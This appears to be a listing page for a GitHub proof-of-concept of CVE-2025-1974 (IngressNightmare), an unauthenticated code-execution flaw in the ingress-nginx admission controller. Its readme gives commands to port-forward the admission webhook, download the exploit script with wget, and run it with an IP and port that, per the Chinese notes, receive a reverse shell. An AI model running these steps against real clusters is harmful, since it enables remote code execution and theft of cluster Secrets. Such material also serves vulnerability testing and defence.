CVE-2025-1974 PoC — ingress-nginx admission controller RCE escalation

Source

https://github.com/hi-unc1e/CVE-2025-1974-poc

Associated Vulnerability

Title: ingress-nginx admission controller RCE escalation (CVE-2025-1974)
Description:A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

Description

PoC of CVE-2025-1974, modified from the world-first PoC~

Readme

# POC of IngressNightmare, RCE in Ingress NGINX (CVE-2025-1974)


> Developed from:
- https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities#how-did-we-discover-ingressnightmare-24

Thanks


# 使用说明
```python
# forward the admission webhook
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8080:80 &
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 9443:443 &


# python3 -m pip install -r requirements.txt
python3 -m pip install httpx asyncio
wget -c https://github.com/hi-unc1e/CVE-2025-1974-poc/raw/refs/heads/master/poc.py
python3 poc.py --local --ip 192.168.49.1 --port 4444  --admission-port 9443
```


参数说明：
- `ip`、`port`，反弹 shell 用
- `admission-port`，默认是 8443

执行效果：

![image](image.png)

File Snapshot

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